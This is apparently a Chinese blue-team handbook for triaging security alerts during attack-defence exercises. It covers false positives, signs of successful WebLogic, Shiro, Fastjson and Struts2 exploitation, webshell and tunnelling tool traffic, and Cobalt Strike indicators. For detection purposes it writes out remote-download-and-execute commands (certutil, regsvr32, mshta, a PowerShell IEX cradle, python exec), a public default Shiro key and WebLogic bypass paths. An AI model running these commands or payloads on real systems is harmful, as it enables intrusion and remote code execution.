研判指导手册
一、研判分析思路
三个关键问题:
- 告警事件是否为误报?
- 是否是演练攻击方发起?
- 攻击是否成功
1.1 是否为误报
产生误报的原因一般是
- 监测手段对攻击采用较为宽泛的规则匹配
- 智能监测算法实现出现偏差
- 正常业务流量触碰
排除方法是:
- 针对性确认流量是否包含攻击载荷
- 根据历史告警推测判断
1.2 是否是攻防演习攻击事件
判断方法:
- 攻击事件类型
- 攻击IP
1.2.1 根据事件类型
- 针对Web应用攻击:文件上传 应用自实现上传:OA对类型校验不严格导致的绕过。比如泛微OA、致远OA。
- 针对Web应用攻击:命令执行 常见于运维或者安全产品:齐治堡垒机、深信服VPN,深信服EDR等
- 针对Web应用攻击:代码执行 应用没有对用户输入校验,传入恶意代码:struts2远程代码执行、thinkphp远程代码执行、Jeekins远程代码执行、泛微OA beanshell组件远程代码执行。
- 针对Web应用攻击:反序列化 Weblogic,JBoss,WebSphere,Shiro,Fastjson,.NET的Exchange漏洞
- 针对Web应用攻击:WebShell
- 针对Web应用攻击:SQL注入
- 针对Windows攻击:口令 弱口令暴力破解、口令获取及复用。攻击者一般使用SMB或者RDP进行Windows登录
- 针对Windows攻击:域
- 针对Windows攻击:MS17-010
- 针对Windows攻击:CVE-2019-0708。RDP端口。
- 针对Linux攻击:SSH端口爆破
- 其他:挖矿病毒、勒索病毒、Worm,dos等一般属于飞攻防演习相关事件
1.2.2 根据攻击IP
攻击源包括C2,VPS,攻击者IP。
可以通过黑IP情报等方式确认IP是否在攻防IP名单内;
通过搜索攻击IP是否是挖矿病毒、勒索病毒,Worm所属的IOC
1.3 攻击是否成功
1.3.1 响应状态码
在攻击者没有篡改响应状态码的情况下,404基本可以研判攻击失败。
如果出现大量401未授权状态,常见于http的basic认证,例如tomcat,basic认证请求最明显的特征就是请求头存在Authorization:Basic Basic64
字符串,其中字符串是base64编码。这种情况下大量出现401一般就是暴力破解的情况,200则表示爆破成功
1.3.2 请求与响应
如果攻击结果是回显的,那么通过报警信息即可进一步判断;
如果攻击结果是不回显的,可以通过数据包重放的方法,但是在攻防演练期间,数据包的重放是需要经过客户同意的,
1.3.3 漏洞攻击
1.3.4 其他
非Web型攻击主要出现在内网渗透方面,攻击者的主要目标有三个:快速批量获取大量机器权限;获取关键系统权限;突破核心区。
往往出现口令复用等手段,获得WIndows域管理员权限,获取运维堡垒机或者EDR几种管控系统。攻击者为了突破网络隔离,往往寻找双网卡设备、获取路由器交换机等网络设备权限。
需要关注SSH、WIndows口令登录,Telnet登录,重大漏洞的攻击事件;
二、高频漏洞研判思路
2.1 SQL注入
在漏洞的利用过程一般又会经历获取数据库名—>获取表名—> 获取列名—>获取具体数据
MySQL: INFORMATION_SCHEMA、schema_name、table_name、column_name
MSSQL: master..sysdatabases、sysobjects.name、syscolumns.name
ORACLE: SYS.ALL_TABLES、TABLE_NAME、SYS.ALL_TAB_COLUMNS
登录主机排查(是否获取权限)
MySQL 写入 WebShell:
INTO OUTFILE
MSSQL 执行命令:
xp_cmdshell
2.2 任意文件上传漏洞
如果文件后缀名为.php、.php3、.php5、pht、phtml、asp、asa、 cer、aspx、asmx、jsp、jspx、war 等,则需要特别关注。
可通过搜索引擎搜索关键代码行或者将文件内容保存在本地, 再借助 D 盾_Web 查杀等工具进行扫描等方式确定文件是否为恶意。
也可通过登录服务器查看最近文件的变化情况来排查 WebShell 是否被上传成功, 如执行命令 find / -name "*.php*" -ctime -3
查看最近三天被改动的 php 相关文件。
2.3 命令执行漏洞
命令执行漏洞会出现有回显和无回显两种情况
2.3.1 有回显的情况
根据发送包和返回包的内容进行判断。
2.3.2 无回显的情况
通常使用OOB走DNS的方式将回显发送至DNSlog平台,可能会存在攻击者使用自建的DNSlog平台。
2.4 shiro反序列化
如果响应数据包的头部返回 Set-Cookie: rememberMe=deleteMe 的话则应用使用了 Shiro 框架。
大多数安全产品不对rememberMe进行解密再进行恶意特征分析,而是匹配rememberMe的长度是否过长,因此经常会出现误报。
https://simolin.cn/tools/shiro/ https://sec.dog/shiroDecrypt.html
通过解密判断是否是真实攻击流量。
那么如何判断是否是攻击:
- 是否使用默认的公开Key(
kPH+bIxk5D2deZiIxcaaaA==
) - 攻击特征是否存在特殊命令,反序列化攻击使用的特殊链。
- 判断版本是否存在漏洞(shiro≤1.2.4存在历史漏洞,而≥1.2.4则可能因为使用常见密钥导致漏洞) https://github.com/wyzxxz/shiro_rce_tool,判断是否可以获取密钥
对于shiro的攻击,如果是非回显的情况,就需要通过登录服务器排查网络、进程、文件等方式确认是否攻击是否成功。
2.5 weblogic反序列化
2.5.1 CVE-2015-4852
关注org.apache.commons.collections.map.TransformedMap
WebLogic_EXP.jar 这个工具对 CVE-2015-4852会向往 Linux 的/tmp/和 Windows 的 C:/windows/temp/目录下写入 1vBLBK.tmp 文件,这是需要排查和注意的
2.5.2 CVE-2017-10271
XMLDecoder 反序列化漏洞,该漏洞允许攻击者通过构造特殊请求造成任意代码执行。
受影响的版本是 10.3.6.0.0、12.1.3.0.0、12.2.1.1.0 和 12.2.1.2.0
一般利用这个漏洞进行反弹shell或者写入shell或者远程下载。
平台同时出现了 Linux 反向 Shell 连接的告警,也就是说上面漏洞的利用执行 bash 反弹命令是成功了。
对于是否写入shell的检测:看响应包是否存在java.io.PrintWriter cannot be cast to java.lang.String
,对于这种利用方式,如果出现该字符串说明攻击大概率成功的。
url访问shell如果出现500状态码,也说明攻击成功。另外如果响应的数据包中出现 Invalid 字符串的话说明攻击是失败的,该服务器已经更新 了相应的漏洞补丁,这个研判方法不仅仅适用于 CVE-2017-10271,也同样适用于 CVE-2019-2725、CVE-2019-2729 等。
2.5.3 CVE-2018-2628
WebLogic Server WLS 组件存在安全漏洞。
该漏洞常见的攻击方式为通过 ysoserial 工具的 JRMP 模块进行远程代码执行。
因此研判 攻击是否成功的思路为:漏洞攻击后服务器是否与 JRMPListener 存在 RMI 通信,以及命令是 否执行成功。
通常该利用与:RMI远程通信,shell反向连接告警事件一起出现。
具体的攻击手段要进行RMI的流量分析。
2.5.4 CVE-2019-2618
CVE-2019-2618 漏洞主要利用了 WebLogic 的 DeploymentService 借接口,攻击者在获 取了 WebLogic 账号密码的前提下,可通过构造文件上传的请求数据包,上传 WebShell,进 而获取服务器权限。
判断攻击成功的方式:请求包/deploymentService的响应包中包是否返回了webshell的路径
2.5.5 CVE-2019-2725 & CVE-2019-2729
漏洞利用可回显可不回显, 针对 WebLogic 10.3.6.0 和 12.1.3.0.0 版本也会有不同的漏洞利用 payload。
下面是研判思路:
- 响应状态码为202 Accepted,或者200、500表明漏洞存在。
- 响应包如果是invalid或者illegal表明服务器已经更新了漏洞补丁。如果同时出现其他攻击行为,基本可以确定攻击成功。
2.5.6 CVE-2020-14882 & CVE-2020-14883
CVE-2020-14883允许用户通过http协议执行任意命令。CVE-2020-14882允许进行未授权用户执行任意命令。
研判方式:
- 14882通过二次编码的../绕过权限验证。具有如下特征。
/console/images/%252E%252E%252Fconsole.portal
/console/css/%25%32%65%25%32%65%25%32%66console.portal
如果响应302跳转可以判断攻击成功 - 14883具有多个可选特征
com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplication Context(适用于各版本)
com.tangosol.coherence.mvel2.sh.ShellSession(适用于 WebLogic 12.2.1 以上版本)
剩下的就要通过攻击行为进行溯源分析
2.5 Fastjson反序列化攻击
2.5.1 fastjson≤1.2.24 版本
当响应包出现 autoType is not support 表明 Fastjson 反序列化漏洞是攻击失败的。
无回显的情况,一般攻击者通过反弹shell、写入webshell文件等方式,需要通过溯源攻击。
攻击成功一般带有LDAP或者RMI的通信报警。
2.5.2 fastjson≤1.2.47版本
相比而言,无需依赖 autotype 的开启
是Fastjson 是支持 unicode 和十六进制编码的,有时候可能会遇到编码过的 Fastjson 反序列化 payload。

2.6 struts2远程代码执行
2.6.1 S2-016/CVE-2013-2251
漏洞影响版本为 Struts 2.0.0 – Struts 2.3.15。
S2-016 漏洞攻击最明显的特征就是"action:"/"redirect:"/"redirectAction:"
通过”redirect”并且构造OGNL表达式进行命令执行,回显可能在响应体或者在响应头。如果没有回显,则通过流量溯源判断。
2.6.2 S2-045 & S2-046(CVE-2017-5638)
Struts 2.3.5 – Struts 2.3.31,Struts 2.5 – Struts 2.5.10。
S2-045 漏洞触发点在 Content-Type,
S2-046 漏洞触发点有两个地方,分别是 Content-Length 和 Content-Disposition 的 filename。
2.7 Windows-RDP/SMB
(绿盟ISOP暂时无记录,需要到UTS设备上查询日志)
关注IP+445 端口+操作成功
如果SMB认证成功,网络流会返回
51 fe 53 4d 42
关注SMB字段处
SMB认证失败会返回49 fe 53 4d 42
(Windows7 sp1)
44 fe 53 4d 42
(Windows10)
RDP通信带有 Cookie: mstshash=xxxxxx(Unix 部分客户端连接是没有的)。但是TLS加密一般无法得到是否能成功连接,通过数据包大小判断(正确和错误的数据包打大小肯定不一样)是否连接
一般SMB成功爆破后会通过RDP登录,特征就是大量SMB后接单个RDP请求
2.7.1 SMB ms17-010
监测扫描流量特征:
smb.st_status == 0xc0000205
利用研判:
smb.path == “\\\\192.168.198.203\\IPC$” || smb.account == “”
payload上传成功(成功不代表有此流量)
smb.mid==82
smb.mid == 8
2.8 Linux SSH爆破
攻击者进入内网后一般会对整个 C 段进行 SSH 登录尝试,因此可能会出现在短时间内 单个源 IP 对 C 段的多个主机进行 SSH 登录的事件。
并不是出现此类事件就一定是攻击者在爆破,堡 垒机和跳板机可能也会引发此类告警事件
通过查看ssh日志:Accepted password for root
表示root身份登录成功
三、高频工具研判
4.1 Webshel
4.1.1 冰蝎(Behinder)
主要是基于两个方面的流量:利用文件上传时候的冰蝎webshell流量;利用冰蝎服务端和客户端进行通信时的流量。
初步分析可先判断请求的文件是否为常见 WebShell 后缀(分析 后缀的方法适合于服务器上存在 WebShell 文件的情况,不适合于无文件 WebShell 的情况),冰蝎使用的是 AES 加密,分析请求的数 据包符合 AES 加密的特征。

正常业务流量可能也使用了加密流量,导致误报,第一步检查是否是常见webshell后缀,如果不是,再排除无文件落地的情况,最后再根据历史情况排除。
如果确认是冰蝎 WebShell,需要进一步通过流量研判攻击方执行了哪些恶意操作,则需 要对冰蝎加密的流量进行解密。对于冰蝎流量的解密,可以使用反编译之后的冰蝎代码,直接调用冰蝎解密函数进行解密即可。 反编译后的冰蝎代码链接:https://github.com/MountCloud/BehinderClientSource 解密函数在 src/main/java/net/rebeyond/behinder/core/Crypt.java 定义。
新建 Test 类,调用 DecryptForJAVA 进行解密。
package net.rebeyond.behinder.payload.java;
import java.io.*;
import java.nio.file.*;
import net.rebeyond.behinder.core.Crypt;
import sun.misc.BASE64Decoder;
public class Test {
public static void main(String[] args) throws Exception {
String data = "XXXX";
//加密的流量
byte[] bs = new BASE64Decoder().decodeBuffer(data);
String key = "xxxx";
//加密的密钥
byte[] decrypted = Crypt.DecryptForJAVA(bs,key);
String result = new String(decrypted);
System.out.println(result);
Files.write((new File("XXXX")).toPath(), decrypted, new OpenOption[]{StandardOpenOption.CREATE, StandardOpenOption.TRUNCATE_EXISTING});
//文件保存的路径
}
}
4.1.2 哥斯拉 Godzilla
该工具自带了 一些插件模块,实现了写无文件 WebShell 等强大的功能。
哥斯拉链接:https://github.com/BeichenDream/Godzilla
研判思路类似
4.1.3 antsword
研判思路类似
4.1.4 无文件Webshell
常见于JAVA应用攻击:
- 基于 Servlet 规范,通过动态注册 Servlet、Filter、Listener 等实现无文件 WebShell
- 基于特定框架,如 Spring 框架下动态注册 Controller 等。
- 基于 JAVA Agent,如 memShell
首先查看历史流量,判断目标URL是否是内存Webshell,如果是攻防演练期间出现的,那么就需要登录服务器进一步判断。
登录服务器排查是否存在无文件 WebShell 可以使用 Arthas 工具。 Arthas 工具链接:https://github.com/alibaba/arthas。具体方法这里不阐述
另外,也可以使用 copagent 进行无文件 WebShell 排查,该工具也是参考 Arthas 实现, 可以自动分析并提取可能的恶意类,并实现自动反编译。那么我们就可以直接通过在反编译 的代码搜索匹配特征的方式排查是否存在恶意类。 copagent 工具链接:https://github.com/LandGrey/copagent。这个工具会产生较多误报
4.2 代理工具
4.2.1 NPS
下面是客户端连接成功的一些标志,包括特征 TST、客户端的版本(client version)、 核心版本(core version);而服务端返回 sucs 就是连接成功,main 则是使用什么模块(第一个连接请求成功肯定都是调用的 main)

然后建立隧道,在连接成功后发送 chan 进行隧道建立:

客户端可能会从服务端获取配置信息(当然也可以配置不获取),则存在对应返回,而 可以看到这里 Crypt 为 true,则后面的内容都是 TLS 加密无法检测的:

4.2.2 FRP
对于开启了 tls_enable 的 frp,在建立连接时候,会产生下面的特征:

而对于没有开启 tls 的话,则会以明文的形式传输一些配置信息,可以根据“privilege_k ey”、“run_id”、“pool_count”、“server_udp_port”这些通用性较低的关键字进行搜索

4.2.4 reGeorg
服务端以脚本(支持 jsp、php、asp)的形式被 攻击者上传/写入到 web 目录下可以通过 url 访问,然后攻击者通过客户端连接服务端,并将 本地流量发送到对应的服务端,服务端可以将流量转发到实际的内网机器。
可以直接访问下,出现 Georg sys, ‘All seems fine’表示存在 regeorg 这个服务端
如果客户端连接成功,则会出现 X-CMD: CONNECT,X-TARGET: 需要访问的内网 IP 等,X-Status: OK 表示连接成功,可以继续传输,可以判断攻击成功:

需要注意的是,上面只是展示没有被修改的 reGeorg。作为一个 Webshell,它很容易被 修改,例如可以将 cmd 改成 mdc、将 connect 改成 conn,也可以将头部一些特征给去掉换 成其他返回,又可以进行加密传输。Neo-reGeorg 就是其中一个变种。
4.2.4 Neo-reGeorg
这种通信甚至ISOP不会报警(
在进行请求的时候返回一个注释,不会显示任何东西,基本可以判断成功了(不一样的 目标是不一样的内容)

通信带有加密的头部

4.2.5 pystinger
实现内网 SOCK4 代理,端口映射,当前支持 php,jsp(x),aspx 三种代理脚本。攻击者可以使用它进行 metasploit-framework,viper, cobalt strike 上线。 pystinger 链接:https://github.com/FunnyWolf/pystinger
首先攻击者会上传一个脚本文件,然后会通过 URL 访问看是否上传成功,(没有被修改 过的情况下)访问会返回“UTF-8”

然后进行通信的话,请求包主要有 SENDDATA、Endpoint、Remoteserver 三个参数, 并且 Endpoint 的值比较固定可以作为判定之一:
/check/
/ 2Fdata_sync/
对于返回内容一般都是 ey 开头,即返回一个 json,不过 json 不尽相同,常见的如下: eyJyZXR1cm5fZGF0YSI6IHt = {"return_data":
eyJjbGllbnRfYWRkcmVzc19saX = {"client_address_

DNSlog
常见 DNSLog 平台地址如下:
dnslog.xyz
4.4 后渗透
4.4.1 Cobalt Strike
由于 Cobalt Strike 基本是加密的流量,因此从流量上进行 研判相对会比较艰难,但是如果没有不修改 Malleable C2 默认配置,也会存在一些比较明显 的特征
如 DNS Beacon 通讯中,在 DNS 查询的通信中会存在 aaa.stage.***
特征,一般目的 地址为 DNS 服务器,理论上源地址为受控主机 IP,但是往往实际上可能会由于探针部署等问 题,流量中的源 IP,导致找不到真实的失陷主机。
在 HTTP Beacon 通信中,cookie
为加密的元数据信息
Cobalt Strike 支持 Web Delivery,即通过开启 Web 服务以方便恶意文件下载运行。
如果是powershell、python 等脚本投递的方式,受害主机会向 Cobalt Strike 的服务端请 求脚本文件内容,那么也可以通过搜索响应的方式去对这种投递方式进行排查。
搜索响应内容包含 New-Objec
的流量主动识别 Cobalt Strike 的 powershell 脚本投递行为
4.4.2 metasploit
五、高频命令研判
5.1 certutil
certutil -urlcache -split -f http://xxx.xxx.xxx.xxx/xxx.exe C:\\Windows\\Temp\\xxx.exe
certutil 在进行远程下载时会向远程服务器发起两个请求,可通过请求中的 User-Agent 进行识别
第一个请求的 User-Agent 为:Microsoft-CryptoAPI/版本号。
第二个请求的 User-Agent 为:CertUtil URL Agent
5.2 bitsadmin
bitsadmin 远程下载命令参考:
bitsadmin /transfer n http://xxx.xxx.xxx.xxx/xxx.exe C:\\Windows\\Temp\\xxx.exe
bitsadmin 进行远程下载时也会发起两类连接请求
第一个请求的方法为 HEAD 方法,用于探测资源是否存在。User-Agent 为 Microsoft BITS/版本号。
后续为下载的请求,User-Agent 也是 Microsoft BITS/版本号.
5.3 regsvr32
regsvr32 加载 dll 命令参考:
regsvr32 /s /n /u /i:http://xxx.xxx.xxx.xxx/SWyNnnBafgin.sct scrobj.dll
regsvr32 远程下载的 User-Agent 不固定,可参考以下两个样例,提取共同的特征,如 包含 Mozilla、compatible、MSIE、Windows、Trident、.NET
Cobalt Strike 和 Metasploit 使用 regsvr32 远程下载上线 C2 响应内容结构特征均如下:
<?XML version="1.0"?> <scriptlet> </registration progid="xxxx <script> </script> </registration> </scriptlet>
5.4 mshta
在 Windows 操作系统中,攻击者常用 mshta 命令执行远程恶意 hta 文件。 命令参考: mshta http://xxx.xxx.xxx.xxx/xxx.hta
与 regsvr32 命令相似,在 64 位操作系统中,mshta 命令执行远程恶意 hta 文件时存在 UA-CPU 字段,值为 AMD64。User-Agent 包含 Mozilla、compatible、MSIE、Windows、 Trident、.NET 等特征

但是在 32 位操作系统中,不会包含 UA-CPU 字段。
响应中的头部包含 Content-Type: application/hta,响应内容恶意的 hta 文件包含 VBScript、CreateObject、Wscript.Shell 等特征
5.5 powershell
使用 webclient 远程下载不存在 User-Agent 特征,但是可以通过检测响应 内容检测是否为 powershell 脚本。
powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://192.168.16.136:80/p'))"
powershell 通过 Invoke-WebRequest 下载,User-Agent 会出现 PowerShell 的特征。另 外,wget/curl 是 Invoke-WebRequest 的别名,因此通过 wget/curl 实现下载的 User-Agent 与 Invoke-WebRequest 是一样的。
powershell Invoke-WebRequest -Uri "http://xxx.xxx.xxx.xxx/download/file.ext" -OutFile "C:\\Windows\\Temp\\ttt.exe"
5.6 wget
在 Linux 操作系统中,攻击者常用 wget 下载远程文件。 命令参考:
wget -O /tmp/xxx http://xxx.xxx.xxx.xxx/xxx
wget 下载的 User-Agent 包含 Wget 关键字。
5.7 curl
在 Linux 操作系统中,攻击者常用 curl 下载远程文件。 命令参考:
curl http://xxx.xxx.xxx.xxx/xxx -o /tmp/xxx
curl 下载远程命令产生的的流量中 User-Agent 包含 curl 关键字
5.8 java
Java 应用发起的请求,User-Agent会包含Java特征,如果是特殊情况如使用Tomcat、 Groovy 等的 Bypass payload 去绕过高版本 JDK 对 JNDI 注入的限制时则不会有该请求。
也可以结合 class 文件里面的敏感类特征做进一步的检测。如:
命令执行:
java/lang/Runtime、java/lang/ProcessBuilder
网络通信:
java/net
文件操作:
java/io/FileInputStream、java/io/FileOutputStream、java/io/File
5.9 python
python 攻击者会默认使用 urllib 进行请求,因为这个不需要任何外部依赖,Cobalt Strike 的 python 投递就是。
命令参考:
python -c "import urllib2; exec urllib2.urlopen('http://xxx.xxx.xxx.xxx:80/py').read();"
python 投递时 User-Agent 为 Python-urllib/版本号,响应内容特征包含恶意的 python 代 码,如 exec、socket 等。
Comments | NOTHING